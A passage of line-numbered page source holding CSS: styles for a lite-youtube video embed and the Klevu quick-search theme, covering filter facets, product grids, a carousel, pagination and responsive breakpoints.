C12.21,47.87,34,48,34,48s21.79-0.13,27.1-1.55c2.93-0.78,4.64-3.26,5.42-6.19C67.94,34.95,68,24,68,24S67.94,13.05,66.52,7.74z"></path><path d="M 45,24 27,14 27,34" fill="%23fff"></path></svg>'); 2846 filter: grayscale(100%); 2847 transition: filter .1s cubic-bezier(0, 0, .2, 1); 2848 border: none 2849 } 2850 2851 lite-youtube .lty-playbtn:focus, 2852 lite-youtube:hover>.lty-playbtn { 2853 filter: none 2854 } 2855 2856 lite-youtube.lyt-activated { 2857 cursor: unset 2858 } 2859 2860 lite-youtube.lyt-activated::before, 2861 lite-youtube.lyt-activated>.lty-playbtn { 2862 opacity: 0; 2863 pointer-events: none 2864 } 2865 2866 .lyt-visually-hidden { 2867 clip: rect(0 0 0 0); 2868 clip-path: inset(50%); 2869 height: 1px; 2870 overflow: hidden; 2871 position: absolute; 2872 white-space: nowrap; 2873 width: 1px 2874 } 2875 </style> 2876 <style type="text/css" id="klevu-quick-search-theme-styles"> 2877 [ku-container] a, 2878 [ku-container] p, 2879 [ku-container] div, 2880 [ku-container] ul li { 2881 font-family: inherit; 2882 font-size: 13px; 2883 line-height: 130%; 2884 text-decoration: none; 2885 font-weight: normal 2886 } 2887 2888 [ku-container] * { 2889 -webkit-box-sizing: border-box; 2890 -moz-box-sizing: border-box; 2891 box-sizing: border-box; 2892 outline: 0; 2893 -webkit-font-smoothing: antialiased; 2894 vertical-align: top 2895 } 2896 2897 .kuBase { 2898 margin: 0; 2899 padding: 0; 2900 border: 0; 2901 box-sizing: border-box; 2902 box-shadow: none; 2903 position: relative; 2904 max-width: 100% 2905 } 2906 2907 [ku-container], 2908 [ku-block] { 2909 margin: 0; 2910 padding: 0; 2911 border: 0; 2912 box-sizing: border-box; 2913 box-shadow: none; 2914 position: relative; 2915 max-width: 100% 2916 } 2917 2918 [ku-container][data-container-role="main"] { 2919 margin: 0; 2920 padding: 0; 2921 border: 0; 2922 box-sizing: border-box; 2923 box-shadow: none; 2924 position: relative; 2925 max-width: 100%; 2926 width: 1200px; 2927 margin: 0 auto 2928 } 2929 2930 [ku-container][data-container-role="header"] { 2931 margin: 0; 2932 padding: 0; 2933 border: 0; 2934 box-sizing: border-box; 2935 box-shadow: none; 2936 position: relative; 2937 max-width: 100% 2938 } 2939 2940 [ku-container][data-container-role="header"] [ku-block][data-container-role="subPanel"] { 2941 margin: 0; 2942 padding: 0; 2943 border: 0; 2944 box-sizing: border-box; 2945 box-shadow: none; 2946 position: relative; 2947 max-width: 100% 2948 } 2949 2950 [ku-container][data-container-role="header"] [ku-block][data-container-role="banner"] { 2951 margin: 0; 2952 padding: 0; 2953 border: 0; 2954 box-sizing: border-box; 2955 box-shadow: none; 2956 position: relative; 2957 max-width: 100% 2958 } 2959 2960 [ku-container][data-container-role="header"] [ku-block][data-container-role="navigation"] { 2961 margin: 0; 2962 padding: 0; 2963 border: 0; 2964 box-sizing: border-box; 2965 box-shadow: none; 2966 position: relative; 2967 max-width: 100% 2968 } 2969 2970 .kuResultContent { 2971 margin: 0; 2972 padding: 0; 2973 border: 0; 2974 box-sizing: border-box; 2975 box-shadow: none; 2976 position: relative; 2977 max-width: 100% 2978 } 2979 2980 .kuResultContent [ku-container]:empty { 2981 display: none !important; 2982 width: 0 !important; 2983 padding: 0; 2984 margin: 0; 2985 overflow: hidden 2986 } 2987 2988 [ku-container][data-container-role="content"] { 2989 margin: 0; 2990 padding: 0; 2991 border: 0; 2992 box-sizing: border-box; 2993 box-shadow: none; 2994 position: relative; 2995 max-width: 100%; 2996 display: table; 2997 width: 100% 2998 } 2999 3000 [ku-container][data-container-role="content"] [ku-block]:empty { 3001 display: none !important; 3002 width: 0 !important; 3003 padding: 0; 3004 margin: 0; 3005 overflow: hidden 3006 } 3007 3008 [ku-block][ku-empty], 3009 [ku-container][ku-empty] { 3010 display: none !important; 3011 width: 0 !important; 3012 padding: 0 !important; 3013 height: 0 !important; 3014 margin: 0 !important; 3015 overflow: hidden !important 3016 } 3017 3018 [ku-container][data-container-role="left"] { 3019 display: table-cell; 3020 width: 22%; 3021 height: auto; 3022 max-width: 275px 3023 } 3024 3025 [ku-container][data-container-role="right"] { 3026 display: table-cell; 3027 width: 22%; 3028 height: auto; 3029 max-width: 275px 3030 } 3031 3032 [ku-container][data-container-role="content"] [ku-container][data-container-role="results"] { 3033 display: table-cell; 3034 width: auto; 3035 height: auto 3036 } 3037 3038 [ku-container][data-container-role="content"]:after { 3039 content: ''; 3040 display: block; 3041 clear: both 3042 } 3043 3044 [ku-block]:empty { 3045 display: none !important; 3046 width: 0 !important; 3047 height: 0 !important; 3048 min-height: 0 !important; 3049 padding: 0; 3050 margin: 0; 3051 overflow: hidden 3052 } 3053 3054 @media only screen and (max-width:1100px) { 3055 .kuResults ul li { 3056 width: 33%; 3057 padding: 5px 3058 } 3059 3060 .kuFilterBox .kuFilterNames ul li a span.kufacet-text { 3061 max-width: 60%; 3062 width: 60% 3063 } 3064 } 3065 3066 @media only screen and (max-width:991px) { 3067 3068 [ku-container][data-container-role="left"], 3069 [ku-container][data-container-role="right"] { 3070 width: 32% 3071 } 3072 } 3073 3074 @media only screen and (max-width:767px) { 3075 3076 [ku-container][data-container-role="content"], 3077 [ku-container][data-container-role="content"] [ku-container][data-container-role="results"], 3078 [ku-container][data-container-role="left"], 3079 [ku-container][data-container-role="right"] { 3080 display: block; 3081 width: 100%; 3082 height: auto 3083 } 3084 3085 .kuContainer .kuTabs a { 3086 display: inline-block 3087 } 3088 3089 .kuContainer .kuTabs a:hover { 3090 border-bottom: 0 solid #ddd; 3091 text-decoration: none; 3092 background: #f5f5f5 3093 } 3094 3095 .kuContainer a.kuTabSelected { 3096 border-bottom: 0 solid #ddd; 3097 background: #f5f5f5 3098 } 3099 3100 .kuLandingNoResultsMessage { 3101 font-size: 15px; 3102 line-height: 1.2em; 3103 padding: 10px 5%; 3104 text-align: center 3105 } 3106 3107 .kuFilterBox { 3108 margin-bottom: 5px; 3109 padding-bottom: 10px; 3110 width: 100% 3111 } 3112 } 3113 3114 .klevu-stars-small-l2 { 3115 height: 13px; 3116 display: inline-block; 3117 vertical-align: bottom; 3118 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-gray.png) top left repeat-x; 3119 width: 65px; 3120 margin-top: 5px 3121 } 3122 3123 .klevu-stars-small-l2 .klevu-rating-l2 { 3124 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-yellow.png) top left repeat-x; 3125 height: 13px; 3126 display: inline-block 3127 } 3128 3129 .klevuRatingCount { 3130 display: inline-block; 3131 margin-top: 3px; 3132 margin-left: 1px 3133 } 3134 3135 .kuQuickSearchFacetedLayout>div, 3136 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled>div { 3137 width: 100% !important; 3138 max-width: 550px !important 3139 } 3140 3141 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"], 3142 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 3143 width: 33%; 3144 padding-right: 2% 3145 } 3146 3147 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"], 3148 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="right"] { 3149 width: Calc(65%) 3150 } 3151 3152 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"] { 3153 width: 33%; 3154 padding-right: 0 3155 } 3156 3157 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"] { 3158 width: 33% 3159 } 3160 3161 .kuQuickSearchFacetedLayout .kuQuickResultsListContainer { 3162 position: relative; 3163 height: 360px; 3164 overflow: auto 3165 } 3166 3167 .kuQuickSearchFacetedLayout .kuPagination { 3168 padding: 10px 20px; 3169 text-align: right 3170 } 3171 3172 .kuQuickSearchFacetedLayout .kuPagination a { 3173 margin: 0; 3174 position: relative; 3175 display: inline-block; 3176 padding-left: 0; 3177 padding-right: 10px; 3178 color: #333; 3179 cursor: pointer; 3180 text-decoration: none; 3181 border-right: 1px solid #ddd; 3182 font-size: 14px 3183 } 3184 3185 .kuQuickSearchFacetedLayout .kuPagination a:hover { 3186 color: #333 3187 } 3188 3189 .kuQuickSearchFacetedLayout .kuPagination a:last-child { 3190 border-right: 0 3191 } 3192 3193 .kuQuickSearchFacetedLayout .kuPagination a.kuCurrent { 3194 background: #fff; 3195 -webkit-box-shadow: none; 3196 -moz-box-shadow: none; 3197 box-shadow: none; 3198 font-weight: bold 3199 } 3200 3201 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct { 3202 width: 32% !important; 3203 border-right: 1px solid #e2e2e2; 3204 border-top: 1px solid #e2e2e2; 3205 display: inline-block; 3206 float: left; 3207 min-height: 200px 3208 } 3209 3210 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct .klevu-desc-l2 { 3211 display: none 3212 } 3213 3214 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:hover { 3215 background-color: #f8f8f8 3216 } 3217 3218 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:hover .klevuQuickAddtoCart { 3219 opacity: 1;
3220 visibility: visible 3221 } 3222 3223 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(1) { 3224 border-top: 0; 3225 border-top: 0 3226 } 3227 3228 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(2) { 3229 border-top: 0; 3230 border-top: 0 3231 } 3232 3233 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3) { 3234 border-top: 0; 3235 border-top: 0 3236 } 3237 3238 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(1) { 3239 border-bottom: 1px solid #e2e2e2 3240 } 3241 3242 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(2) { 3243 border-bottom: 1px solid #e2e2e2 3244 } 3245 3246 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(3) { 3247 border-bottom: 1px solid #e2e2e2 3248 } 3249 3250 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3n+3) { 3251 border-right: 0 3252 } 3253 3254 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemTop { 3255 width: 100%; 3256 float: none 3257 } 3258 3259 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuResultsBlock .klevuQuickSearchResults .klevuProductItemBottom { 3260 width: 100%; 3261 float: none 3262 } 3263 3264 .kuQuickSearchFacetedLayout [data-result-view='grid'].klevuQuickSearchResults .klevuQuickAddtoCart { 3265 margin: 0 auto; 3266 position: absolute; 3267 display: inline-block; 3268 bottom: auto; 3269 width: auto; 3270 top: 25%; 3271 left: 0; 3272 width: 100%; 3273 text-align: center; 3274 opacity: 0; 3275 visibility: hidden 3276 } 3277 3278 .kuQuickSearchFacetedLayout .klevuResultsBlock [data-result-view='grid'].klevuQuickSearchResults .klevuProductItemBottom { 3279 width: 100%; 3280 float: none 3281 } 3282 3283 .kuQuickSearchFacetedLayout .klevuResultsBlock [data-result-view='grid'].klevuQuickSearchResults .klevuProductItemTop { 3284 width: 100%; 3285 float: none 3286 } 3287 3288 .kuQuickSearchFacetedLayoutRightSideFilters .kuPagination { 3289 text-align: left 3290 } 3291 3292 .klevuTarget.klevu-fluid.kuQuickSearchFacetedLayout>div { 3293 min-width: 54% 3294 } 3295 3296 @media only screen and (min-width:768px) and (max-width:991px) { 3297 .klevuTarget.klevu-fluid.kuQuickSearchFacetedLayout>div { 3298 min-width: 66%; 3299 max-width: 100% 3300 } 3301 3302 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"] { 3303 width: 38% 3304 } 3305 3306 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"] { 3307 width: 38% 3308 } 3309 3310 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct { 3311 width: 49% !important; 3312 border-top: 0; 3313 min-height: 230px 3314 } 3315 3316 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3) { 3317 border-top: 1px solid #e2e2e2 3318 } 3319 3320 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(1) { 3321 border-top: 0 3322 } 3323 3324 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(2n+2) { 3325 border-right: 0 3326 } 3327 3328 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(odd) { 3329 border-right: 1px solid #e2e2e2; 3330 border-top: 0 3331 } 3332 3333 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 3334 width: 38%; 3335 padding-right: 2% 3336 } 3337 } 3338 3339 @media only screen and (max-width:767px) { 3340 .kuQuickSearchFacetedLayout [ku-container][data-container-role="left"] { 3341 width: 100%; 3342 padding-right: 0; 3343 max-width: 100% 3344 } 3345 3346 .kuQuickSearchFacetedLayout [ku-container][data-container-role="right"] { 3347 width: 100%; 3348 padding-right: 0; 3349 max-width: 100% 3350 } 3351 3352 .kuQuickSearchFacetedLayout .kuFilterBox .kuFilterHead { 3353 font-weight: bold 3354 } 3355 3356 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct { 3357 width: 49% !important; 3358 border-top: 0;
3359 min-height: 230px 3360 } 3361 3362 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(3) { 3363 border-top: 1px solid #e2e2e2 3364 } 3365 3366 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-last-child(1) { 3367 border-top: 0 3368 } 3369 3370 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(2n+2) { 3371 border-right: 0 3372 } 3373 3374 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:nth-child(odd) { 3375 border-right: 1px solid #e2e2e2; 3376 border-top: 0 3377 } 3378 3379 .kuQuickSearchFacetedLayout [data-result-view='grid'] .klevuProduct:hover .klevuQuickAddtoCart { 3380 opacity: 1; 3381 visibility: visible 3382 } 3383 3384 .kuQuickSearchFacetedLayout [data-result-view='grid'].klevuQuickSearchResults .klevuQuickAddtoCart { 3385 position: relative; 3386 display: inline-block; 3387 bottom: 15px; 3388 width: auto; 3389 top: auto; 3390 left: 0; 3391 width: 100%; 3392 text-align: center; 3393 opacity: 1; 3394 visibility: visible; 3395 margin-top: 10px 3396 } 3397 3398 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="left"] { 3399 width: 100%; 3400 padding-right: 0; 3401 max-width: 100% 3402 } 3403 3404 .kuEmptySearchBox.klevuTarget.kuQuickSearchResultsContainer.kuPersonalizedSearchRecsEnabled [ku-container][data-container-role="right"] { 3405 width: 100%; 3406 padding-right: 0; 3407 max-width: 100% 3408 } 3409 } 3410 3411 .kuCarousel { 3412 box-sizing: border-box; 3413 position: relative; 3414 width: 100%; 3415 height: 210px 3416 } 3417 3418 .kuCarousel *:before { 3419 box-sizing: border-box 3420 } 3421 3422 .kuCarousel *:after { 3423 box-sizing: border-box 3424 } 3425 3426 .kuCarousel .kuCarousel-content { 3427 position: relative; 3428 overflow: hidden; 3429 transition: width .4s; 3430 height: 100% 3431 } 3432 3433 .kuCarousel .kuSlide { 3434 height: 100%; 3435 position: absolute; 3436 z-index: 1; 3437 transition: left .4s cubic-bezier(0.47, 0.13, 0.15, 0.89) 3438 } 3439 3440 .kuCarousel .nav { 3441 position: absolute; 3442 top: 50%; 3443 margin-top: -8%; 3444 background-color: #FFF; 3445 width: 24px; 3446 height: 24px; 3447 z-index: 2; 3448 cursor: pointer; 3449 border-radius: 50%; 3450 border: 0; 3451 outline: 0; 3452 color: white; 3453 -webkit-user-select: none; 3454 background-position: center; 3455 background-repeat: no-repeat; 3456 background-size: 100%; 3457 display: block 3458 } 3459 3460 .kuCarousel .nav-left { 3461 left: -5px; 3462 background-image: url(https://js.klevu.com/klevu-js-v1/img-1-1/icon-prev.png) 3463 } 3464 3465 .kuCarousel .nav-right { 3466 right: -5px; 3467 background-image: url(https://js.klevu.com/klevu-js-v1/img-1-1/icon-next.png) 3468 } 3469 3470 .kuCarousel .kuCarousel-arrow-icon-left { 3471 margin-left: 5px; 3472 margin-top: 2px 3473 } 3474 3475 .kuCarousel .kuCarousel-arrow-icon-right { 3476 margin-left: 7px; 3477 margin-top: 2px 3478 } 3479 3480 .kuFilterNames { 3481 height: 118px; 3482 overflow: hidden 3483 } 3484 3485 .kuFilterNames ul { 3486 margin: 0; 3487 padding: 0 3488 } 3489 3490 .kuFilterNames ul li { 3491 list-style: none; 3492 text-align: left; 3493 width: 100%; 3494 display: inline-block; 3495 margin: 0; 3496 padding: 0 3497 } 3498 3499 .kuFilterNames ul li a { 3500 display: block; 3501 position: relative; 3502 overflow: hidden; 3503 padding: 0; 3504 text-decoration: none; 3505 cursor: pointer; 3506 font-style: normal; 3507 color: #333; 3508 background: 0; 3509 margin: 2px; 3510 margin-left: 5px 3511 } 3512 3513 .kuFilterNames ul li a span { 3514 display: inline-block; 3515 vertical-align: middle 3516 } 3517 3518 .kuFilterNames ul li a span.kufacet-text { 3519 max-width: 74%; 3520 width: 74%; 3521 overflow: hidden; 3522 white-space: nowrap; 3523 text-overflow: ellipsis; 3524 float: left 3525 } 3526 3527 .kuFilterNames ul li a span.kuFilterIcon { 3528 float: left; 3529 margin: 0; 3530 padding: 0; 3531 font-weight: normal 3532 } 3533 3534 .kuFilterNames ul li a:hover { 3535 cursor: pointer 3536 } 3537 3538 .kuFilterNames ul li a:hover span.kuFilterIcon:before { 3539 background: #fff 3540 } 3541 3542 .kuFilterNames ul li a:hover span.kuFilterIcon:after { 3543 content: ''; 3544 position: absolute; 3545 width: 8px; 3546 height: 8px; 3547 background: #333; 3548 top: 5px; 3549 left: 5px; 3550 border: 0; 3551 margin-top: 0;
3552 margin-left: 0; 3553 -moz-box-sizing: border-box; 3554 -webkit-box-sizing: border-box; 3555 box-sizing: border-box; 3556 -webkit-transform: rotate(-45deg); 3557 -moz-transform: rotate(-45deg); 3558 -o-transform: rotate(-45deg); 3559 -ms-transform: rotate(-45deg); 3560 transform: rotate(-45deg); 3561 border-radius: 50% 3562 } 3563 3564 .kuFilterNames ul li a span.kuFilterTotal { 3565 float: right; 3566 text-align: right; 3567 margin: 0; 3568 padding: 0 3569 } 3570 3571 .kuFilterNames ul li a span.kuFilterCancel { 3572 float: right; 3573 text-align: right; 3574 margin: 0; 3575 padding: 0 3576 } 3577 3578 .kuFilterNames ul li .klevuFacetStars { 3579 height: 14px; 3580 display: inline-block; 3581 vertical-align: bottom; 3582 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-gray.png) top left repeat-x; 3583 width: 65px 3584 } 3585 3586 .kuFilterNames ul li .klevuFacetStars .klevuFacetRating { 3587 background: transparent url(https://js.klevu.com/klevu-js-v1/img-1-1/star-yellow.png) top left repeat-x; 3588 height: 14px; 3589 display: inline-block 3590 } 3591 3592 .kuFilterNames ul li.kuSelected a { 3593 color: #333 3594 } 3595 3596 .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 3597 background: #fff 3598 } 3599 3600 .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 3601 content: ''; 3602 position: absolute; 3603 width: 8px; 3604 height: 8px; 3605 background: #333; 3606 top: 5px; 3607 left: 5px; 3608 border: 0; 3609 margin-top: 0; 3610 margin-left: 0; 3611 -moz-box-sizing: border-box; 3612 -webkit-box-sizing: border-box; 3613 box-sizing: border-box; 3614 -webkit-transform: rotate(-45deg); 3615 -moz-transform: rotate(-45deg); 3616 -o-transform: rotate(-45deg); 3617 -ms-transform: rotate(-45deg); 3618 transform: rotate(-45deg); 3619 border-radius: 50%; 3620 border-color: #333 3621 } 3622 3623 .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 3624 -moz-box-sizing: border-box; 3625 -webkit-box-sizing: border-box; 3626 box-sizing: border-box; 3627 border-color: #333 3628 } 3629 3630 .kuFilterNames.kuFilterShowAll { 3631 height: auto; 3632 overflow: unset 3633 } 3634 3635 .kuFilterHead { 3636 font-family: inherit; 3637 font-size: 13px; 3638 font-weight: bold; 3639 padding: 5px; 3640 color: #333; 3641 display: block; 3642 line-height: 1.8; 3643 text-transform: uppercase; 3644 border-bottom: 1px solid #eee; 3645 background: 0; 3646 margin-bottom: 15px; 3647 margin-top: 0; 3648 position: relative; 3649 cursor: pointer; 3650 transition: all .3s ease 3651 } 3652 3653 .kuShowOpt { 3654 padding: 0 5px; 3655 cursor: pointer; 3656 position: absolute; 3657 bottom: -5px 3658 } 3659 3660 .kuShowOpt a { 3661 color: #333; 3662 text-decoration: none 3663 } 3664 3665 .kuHideOpt a { 3666 color: #333; 3667 text-decoration: none 3668 } 3669 3670 .kuFilterDot { 3671 height: 5px; 3672 width: 5px; 3673 background-color: #333; 3674 border-radius: 50%; 3675 display: inline-block; 3676 margin: 2px 3677 } 3678 3679 .kuFilterIcon:before { 3680 content: ''; 3681 border: 2px solid #ddd; 3682 border-radius: 50%; 3683 margin: 0; 3684 margin-right: 6px; 3685 height: 18px; 3686 width: 18px; 3687 display: inline-block; 3688 color: #ddd; 3689 position: relative; 3690 -moz-box-sizing: border-box; 3691 -webkit-box-sizing: border-box; 3692 box-sizing: border-box; 3693 transition: background 200ms; 3694 -webkit-transition: background 200ms; 3695 -moz-transition: background 200ms; 3696 -webkit-transition: border-color 200ms; 3697 -moz-transition: border-color 200ms; 3698 transition: border-color 200ms 3699 } 3700 3701 .kuMulticheck .kuFilterIcon:before { 3702 content: ''; 3703 border: 1px solid #ddd; 3704 border-radius: 0; 3705 margin: 0; 3706 margin-right: 8px; 3707 height: 18px; 3708 width: 18px; 3709 display: inline-block; 3710 color: #ddd; 3711 position: relative 3712 } 3713 3714 .kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:before { 3715 background: #fff; 3716 border: 1px solid #333 3717 } 3718 3719 .kuMulticheck .kuFilterNames ul li a:hover span.kuFilterIcon:after { 3720 content: ''; 3721 position: absolute; 3722 width: 10px; 3723 height: 5px; 3724 background: transparent; 3725 top: 5px; 3726 left: 4px;
3727 border: 2px solid #333; 3728 border-top: 0; 3729 border-right: 0; 3730 border-radius: 0; 3731 -moz-box-sizing: border-box; 3732 -webkit-box-sizing: border-box; 3733 box-sizing: border-box; 3734 -webkit-transform: rotate(-45deg); 3735 -moz-transform: rotate(-45deg); 3736 -o-transform: rotate(-45deg); 3737 -ms-transform: rotate(-45deg); 3738 transform: rotate(-45deg) 3739 } 3740 3741 .kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 3742 background: #fff; 3743 border: 1px solid #333 3744 } 3745 3746 .kuMulticheck .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 3747 content: ''; 3748 position: absolute; 3749 width: 10px; 3750 height: 5px; 3751 background: transparent; 3752 top: 4px; 3753 left: 4px; 3754 border: 2px solid #ddd; 3755 border-top: 0; 3756 border-right: 0; 3757 border-radius: 0; 3758 -moz-box-sizing: border-box; 3759 -webkit-box-sizing: border-box; 3760 box-sizing: border-box; 3761 -webkit-transform: rotate(-45deg); 3762 -moz-transform: rotate(-45deg); 3763 -o-transform: rotate(-45deg); 3764 -ms-transform: rotate(-45deg); 3765 transform: rotate(-45deg) 3766 } 3767 3768 .kuMulticheck .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 3769 -moz-box-sizing: border-box; 3770 -webkit-box-sizing: border-box; 3771 box-sizing: border-box; 3772 border-color: #333 3773 } 3774 3775 .kuQuickSearchFacetedLayout .kuFilters, 3776 .kuSearchResultsPageContainer .kuFilters { 3777 padding: 10px 3778 } 3779 3780 .kuQuickSearchFacetedLayout .kuFilterBox .kuFilterNames ul li a span.kufacet-text, 3781 .kuSearchResultsPageContainer .kuFilterBox .kuFilterNames ul li a span.kufacet-text { 3782 max-width: 70%; 3783 width: 70% 3784 } 3785 3786 .kuQuickSearchFacetedLayout [data-block-id="ku_quick_left_facets"] { 3787 background-color: #fff; 3788 overflow: auto; 3789 max-height: 400px; 3790 text-align: left 3791 } 3792 3793 .kuQuickSearchFacetedLayout [data-block-id="ku_quick_right_facets"] { 3794 background-color: #fff; 3795 overflow: auto; 3796 max-height: 400px; 3797 text-align: left 3798 } 3799 3800 .kuFilterBox { 3801 margin-bottom: 12px; 3802 background: 0; 3803 padding-bottom: 12px; 3804 position: relative 3805 } 3806 3807 .kuFilterBox .kuFilterHead { 3808 padding: 5px 0; 3809 color: #333; 3810 display: block; 3811 text-transform: uppercase; 3812 border-bottom: 1px solid #ddd; 3813 background: 0; 3814 margin-bottom: 0 3815 } 3816 3817 .kuFilterBox .kuFilterNames { 3818 height: 125px; 3819 overflow: hidden 3820 } 3821 3822 .kuFilterBox .kuFilterNames ul { 3823 margin: 0; 3824 padding: 0 3825 } 3826 3827 .kuFilterBox .kuFilterNames ul li { 3828 list-style: none; 3829 text-align: left; 3830 width: 100%; 3831 display: inline-block; 3832 margin: 0; 3833 padding: 0 3834 } 3835 3836 .kuFilterBox .kuFilterNames ul li a { 3837 display: block; 3838 position: relative; 3839 overflow: hidden; 3840 padding: 0; 3841 text-decoration: none; 3842 cursor: pointer; 3843 color: #333; 3844 background: 0; 3845 margin: 2px 5px 2px 0 3846 } 3847 3848 .kuFilterBox .kuFilterNames ul li a span { 3849 display: inline-block; 3850 vertical-align: middle 3851 } 3852 3853 .kuFilterBox .kuFilterNames ul li a span.kufacet-text { 3854 max-width: 75%; 3855 width: 75%; 3856 overflow: hidden; 3857 white-space: nowrap; 3858 text-overflow: ellipsis; 3859 float: left 3860 } 3861 3862 .kuFilterBox .kuFilterNames ul li a span.kuFilterIcon { 3863 float: left; 3864 margin: 0; 3865 padding: 0; 3866 font-weight: normal 3867 } 3868 3869 .kuFilterBox .kuFilterNames ul li a:hover span.kuFilterIcon:before { 3870 background: #fff 3871 } 3872 3873 .kuFilterBox .kuFilterNames ul li a:hover span.kuFilterIcon:after { 3874 content: ""; 3875 position: absolute; 3876 width: 8px; 3877 height: 8px; 3878 top: 5px; 3879 left: 5px; 3880 border: 0; 3881 margin-top: 0; 3882 margin-left: 0; 3883 -webkit-transform: rotate(-45deg); 3884 -moz-transform: rotate(-45deg); 3885 -o-transform: rotate(-45deg); 3886 -ms-transform: rotate(-45deg); 3887 transform: rotate(-45deg); 3888 border-radius: 50%; 3889 background: #ddd 3890 } 3891 3892 .kuFilterBox .kuFilterNames ul li.kuSelected a { 3893 color: #333 3894 } 3895 3896 .kuFilterBox .kuFilterNames ul li.kuSelected span.kuFilterIcon:before { 3897 background: #fff 3898 } 3899 3900 .kuFilterBox .kuFilterNames ul li.kuSelected span.kuFilterIcon:after { 3901 content: ""; 3902 position: absolute; 3903 width: 8px; 3904 height: 8px; 3905 top: 5px; 3906 left: 5px; 3907 border: 0; 3908 margin-top: 0;
3909 margin-left: 0; 3910 -webkit-transform: rotate(-45deg); 3911 -moz-transform: rotate(-45deg); 3912 -o-transform: rotate(-45deg); 3913 -ms-transform: rotate(-45deg); 3914 transform: rotate(-45deg); 3915 border-radius: 50%; 3916 background: #ddd; 3917 border-color: #333 !important 3918 } 3919 3920 .kuFilterBox .kuFilterNames ul li.kuSelected:hover span.kuFilterIcon:after { 3921 -moz-box-sizing: border-box; 3922 -webkit-box-sizing: border-box; 3923 box-sizing: border-box; 3924 border-color: #333 3925 } 3926 3927 .kuFilterBox .kuFilterNames.sliderFilterNames { 3928 height: 90px 3929 } 3930 3931 .kuFilterBox .kuFilterIcon:before { 3932 content: ""; 3933 border: 2px solid #ccc; 3934 border-radius: 50%; 3935 margin: 0; 3936 margin-right: 8px; 3937 height: 18px; 3938 width: 18px; 3939 display: inline-block; 3940 color: #ccc; 3941 position: relative; 3942 -moz-box-sizing: border-box; 3943 -webkit-box-sizing: border-box; 3944 box-sizing: border-box; 3945 transition: background 200ms; 3946 -webkit-transition: background 200ms; 3947 -moz-transition: background 200ms; 3948 -webkit-transition: border-color 200ms; 3949 -moz-transition: border-color 200ms; 3950 transition: border-color 200ms 3951 } 3952 3953 .kuFilterBox .kuFilterNames.kuFilterCollapse { 3954 height: 0; 3955 overflow: hidden 3956 } 3957 3958 .kuFilterBox .kuFilterNames.kuFilterCollapse .kuShowOpt { 3959 display: none 3960 } 3961 3962 .kuFilterBox .kuFilterNames.kuFilterShowAll { 3963 height: auto; 3964 overflow: unset 3965 } 3966 3967 .kuFilterBox .kuShowOpt { 3968 padding: 0; 3969 cursor: pointer; 3970 position: absolute; 3971 bottom: -12px 3972 } 3973 3974 .kuFilterBox .kuShowOpt a { 3975 color: #4d7abf; 3976 text-decoration: none 3977 } 3978 3979 .kuFilterBox .kuShowOpt .kuFilterDot { 3980 height: 5px; 3981 width: 5px; 3982 background-color: #888; 3983 border-radius: 50%; 3984 display: inline-block; 3985 margin: 2px 3986 } 3987 3988 .kuFilterBox .kuExpand { 3989 position: relative !important; 3990 transition: all .3s ease 3991 } 3992 3993 .kuFilterBox .kuCollapse { 3994 position: relative !important; 3995 transition: all .3s ease 3996 } 3997 3998 .kuFilterBox .kuFilterHead.kuCollapse { 3999 margin-bottom: 10px 4000 } 4001 4002 .kuFilterBox .kuFilterHead.kuCollapse::after { 4003 border-color: #333; 4004 border-image: none; 4005 border-style: solid; 4006 border-width: 0 1px 1px 0; 4007 content: ""; 